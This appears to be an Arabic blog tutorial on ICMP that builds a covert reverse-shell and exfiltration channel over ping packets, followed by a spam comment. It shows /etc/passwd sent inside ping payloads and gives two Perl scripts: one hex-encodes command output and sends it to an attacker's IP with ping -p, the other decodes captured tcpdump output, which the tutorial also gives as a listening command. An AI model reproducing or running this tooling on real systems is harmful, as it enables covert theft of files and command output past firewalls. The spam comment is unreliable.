Reverse Shell over ICMP protocol -OOB

بسم الله الرحمن الرحيم

اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين

اللهم لا علم لنا الا ماعلمتنا انك نت العليم الحكيم

اليوم الموضوع راح يتكلم عن بروتوكول ICMP بشكل عام وعن الاتصال العكسي على هذا البروتوكول بشكل خاص




بروتوكول ICMP اختصار Internet Control Message Protocol

ويستخدم لتشخيص حالة الشبكة واعطالها

الباكت الواحد المرسل يحتوي على ثلاث خانات

#Type

#Code

#Checksum

بالاضافة الى خانات اخرى نتطرق لها مع الدرس باذن الله 

لكل خانة رقم معيّن يحدد الاتصال ونتيجته 

من ضمنها 

TYPE   Description
----   -----------
0      Echo Reply
3      Destination Unreachable
4      Source Quench
5      Redirect Message
8      Echo Request
11     Time Exceeded
12     Parameter Problem
13     Timestamp Request
14     Timestamp Reply
15     Information Request (No Longer Used)
16     Information Reply (No Longer Used)
17     Address Mask Request
18     Address Mask Reply
 
اللي يهمنا في الجدول السابق هو 8 لان ping عادة تستخدم النوع هذا..
 
الان نفتح الواير شارك عشان توضح لنا الفكرة اكثر 
 

 


 
في الصورة السابقة ارسلنا باكت واحد 
 
والنتيجة في الوايرشارك باكتين 
 
لان الاولى هي request والثانية هي replay 
 
ولكن اللي يهمنا محتوى الباكت وكيف نقدر نعدل عليه بحيث اننا نقدر نتصل عكسي
 
 
نشوف المحتوى 
 
 


 
مثل ماذكرنا الخانات الثلاث سابقة وكل واحد منها له تعريفة خاصه فيه 
 
 
 


 
اللي يهمنا في الموضوع الصورة السابقة 
 
وهي الداتا او المعلومات اللي يحتويها الباكت وفي الغالب امر ping يستخدم بيانات عشوائية مثل ماهو
 
واضح بالصورة 
 
الان بعد مافهمنا وشهو البروتوكول icmp وكيف يتعرف عليه الجهاز وكيف يحتوي معلومات 
 
 
خلونا نحاول نرسل كلام بسيط 
 
 


 
مثل ماهو واضح ارسلت الجملة Thisis0n3 ووصلت مثل ماهي وبالامكان ايضا ارسال ملفات بنفس الطريقة 
 
 
وبنفس الاداة 
 
نشوف كيف 
 
 
 


 
نشوف محتى الملف 
 
/etc/passwd
 
في معلومات الباكت 
 
طيب و الفايدة من البروتوكول هذا 
 
البروتوكول هذا يفيدك في حال فلترة البروتوكولات العادية مثل tcp او udp 
 
لان جدران الحماية اغلبها تكون على البروتوكولات السابقة 
 
بعد ماخذينا فكرة عامة عن البروتوكول 
 
نبدا في عملية الاتصال العكسي وتنفيذ الاوامر 


الان الخطوات اول شي نحول الملف او ناتج الامر الى هكس وبعد كذا نرسل الملف عن طريق حزم بالامر ping

وفي الجهاز حقنا يكون العملية بالعكس

يعني نستقبل الملف ونحوله من هكس الى ملف قابل للقراءة وبعدين نستعرضه


نقدر نعمل الخطوات السابقة من غير ادوات ولاكن بتكون طويلة وفيها شوي من الصعوبة


انا عملت اداة تفيد الى حد ما

الاداة جربتها على الجهاز والحمدلله مشت الامور وباذن الله ينزل الاصدار الرسمي منها والى الان هي في طور التطوير

اول شي الاداة اللي بتكون على السيرفر

#!/usr/bin/perl
if ($#ARGV != 1 )
{
print "Usage perl $ yourip command\n";
exit;
}
$site = $ARGV[0];
$cmd2 = $ARGV[1];
$cmd3 = $ARGV[2];
$hex = "$cmd2 $cmd3| xxd -c 4 -pS > /tmp/command";
system($hex);
$out = "/tmp/command";
open(FILE,$out) or die ("Could not open file for reading\n");
foreach $line (<FILE>){
$cmd = "a=$(<{0};ping -c 1 -w 2 $site -p b00b`echo $line `0bb0";
system($cmd);
}


وثاني الشي الاداة اللي على الجهاز 

#!/usr/bin/perl
use List::MoreUtils qw(uniq);
$cmd = "cat /tmp/command |cut -c 9-50 |  tr -d '\n ' > /tmp/new";
system ($cmd);
$file = "/tmp/new";
open(FILE,$file) or die ("$!");
foreach $line (<FILE>){
{
@matches = $line =~ m/b00b(.*?)0bb0/g;
@uniq = uniq(@matches);
foreach $uniq (@uniq){
$cmd = " echo '$uniq \n' | xxd -r -pS >> /tmp/fin";
system($cmd);
}}
$cmd4 = "strings /tmp/fin";
system($cmd4);
$cmd5 = "rm /tmp/fin && rm /tmp/command && rm /tmp/new";
system($cmd5);
}

وفي الشاشة الثالثة يكون التنصت شغال

بالامر التالي

tcpdump -i lo icmp -X > /tmp/command

lo يتم تغيره الى الجهاز المراد التنصت عليه مثل eth0 او wlan0

ونشوف النتيجة





الى هنا ينتهي الدرس 

ان اخطت فمن نفسي والشيطان وان اصبت فمن الله وحده 


اراكم في دروس اخرى باذن الله

تعليقات

  1. Hard Rock Hotel & Casino, Tunica Resorts, MS - Mapyro
    Find addresses, 용인 출장마사지 see photos and read real people stop 경상북도 출장샵 by 계룡 출장마사지 Hard Rock Hotel & 삼척 출장마사지 Casino, Tunica Resorts 서귀포 출장안마 in MS.

    ردحذف

إرسال تعليق

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Html code injection-[Post-Get-StoredData!]-